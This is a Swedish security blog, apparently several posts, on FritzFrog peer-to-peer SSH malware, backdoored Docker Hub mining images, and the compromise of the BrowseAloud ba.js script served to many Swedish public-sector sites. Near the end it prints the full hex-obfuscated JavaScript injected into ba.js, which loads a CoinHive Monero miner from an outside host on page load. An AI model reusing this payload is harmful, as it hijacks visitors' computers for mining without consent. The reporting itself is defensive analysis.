FritzFrog är en ny typ av malware som är skrivet i programspråket Go och riktar sig mot servrar som exponerar SSH.
Den skadliga koden är modulärt uppbyggd och skriver inga filer till disk efter infektion. Det som kanske är mest intressant är att kommunikationen använder sig av ett helt egenutvecklat peer-to-peer protokoll.
Karta över infektioner från företaget Guardicore:
Vid infektion så startas en process vid namn ifconfig och nginx upp. Som lyssnar på TCP port 1234. Den skadliga koden är packad med UPX och efter att processerna startats upp så raderas filer på disk. För att undvika detektion på nätverket så tunnlas kommunikation över port 1234 via SSH. Denna kanal används även för P2P-protokollet som gör nyckelutbyte med hjälp av Diffie Hellman samt kryptering med AES.
Kommandon som kickas via P2P-protokollet:
Även så lägger den skadliga koden en publik nyckel till .ssh/authorized_keys för att ge möjlighet att ta sig in i systemet vid senare tillfälle.
På Github så finns det IOC:er samt kod för att detektera FritzFrog. En av syftet med den skadliga koden är att utvinna kryptovalutan Monero med hjälp av mjukvaran XMRig miner som ansluter mot web.xmrpool.eu över port 5555.
Antalet attacker från nätverket har ökat stadigt sedan början på året:
Ett antal avbilder som återfinnes på populära Docker Hub innehåller bakdörrar. Dessa avbilder med bakdörrar har laddats hem mer än 90000 gånger. Kontot som laddat upp dessa bakdörrar har namnet docker123321 och bakdörren utnyttjar användarens kapacitet för kryptovaluta-mining.
Det är totalt 14 stycken olika avbilder (images) som innehåller den skadliga koden rapporterar Kromtech Security Center. Totalt har 544.74 Moneros beräknats vilket motsvarar en vinst på ca 791 000 SEK.
Jag tror tyvärr att detta är en trend som kommer att öka. I takt med allt fler marknadsplatser såsom Docker Hub och Google Web Store så kommer även antagonisterna att utnyttja detta faktum. För tyvärr är det inte lätt att rapportera skadlig kod och de automatiska testerna som genomförs på sådant som laddas upp är bristfälliga.
Intressant att notera är även att Kromtech står bakom den kontroversiella mjukvaran MacKeeper.
Uppdatering: En intressant iakttagelse jag har gjort är att sökfrågor på 1177.se skickas vidare till tredjeparter såsom Google och Browsealoud. Denna går att läsa ut via http referer headern eller window.location.href. Och ännu värre hade varit om en keylogger hade installerats i ba.js och då läst ut tips till polisen eller anonyma frågor till 1177.
För en stund sedan så modifierades en Amazon S3-lagringsplats som innehöll ett populärt javascript vid namn ba.js. Scriptet används för mjukvaran Browsealoud Web Screen Reader Software.
Följande skärmdump är från Reddit där en besökare till 1177.se som får en varning från sitt antivirus-program gällande CoinHive JS Miner:
Sökväg till scriptet som låg på Amazons CloudFront-tjänst d2pt7h3k9ifq48.cloudfront.net:
www.browsealoud.com/plus/scripts/ba.js
Och läser vi på om Coinhive så är det kryptovaluton Monero som det rör sig om (jag skrev tidigare felaktigt Bitcoin):
Coinhive offers a JavaScript miner for the Monero Blockchain (Why Monero?) that you can embed in your website
Och runt 4000 unika domäner länkar till detta script. Ett axplock av .se-domäner som länkar till scriptet som modifierats är följande:
lu.se
1177.se
polisen.se
du.se
mah.se
malmo.se
hallakonsument.se
lund.se
skane.se
lansstyrelsen.se
mau.se
norrkoping.se
kungalv.se
botkyrka.se
informationsverige.se
finspang.se
moderaterna.se
linkoping.se
spsm.se
rsyd.se
karlstad.se
jonkoping.se
stockholmshem.se
abf.se
energimyndigheten.se
gotland.se
konsumentverket.se
humana.se
lfv.se
elsakerhetsverket.se
katrineholm.se
alingsas.se
haninge.se
arn.se
kulturradet.se
lanstrafikenkron.se
seom.se
xtrafik.se
fmv.se
vasamuseet.se
sigtuna.se
solleftea.se
sigtunahem.se
ljungby.se
do.se
alvdalen.se
ltkalmar.se
kalmar.se
jo.se
vannas.se
mjolby.se
folktandvardenskane.se
konsumenternas.se
musikverket.se
oskarshamn.se
moneyfromsweden.se
nordiskamuseet.se
autism.se
blekingetrafiken.se
knivsta.se
sbu.se
Och följande obfuskerade javascript-kod las till för att peka till CoinHive:
/* [Warning] Do not copy or self host this file, you will not be supported */ /* BrowseAloud Plus v2.5.0 (13-09-2017) */ window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
Tipstack till Linus Särud, Frans Rosén och Claes Magnusson.
Scriptet var modifierat mellan följande tidpunkter enligt Archive.org: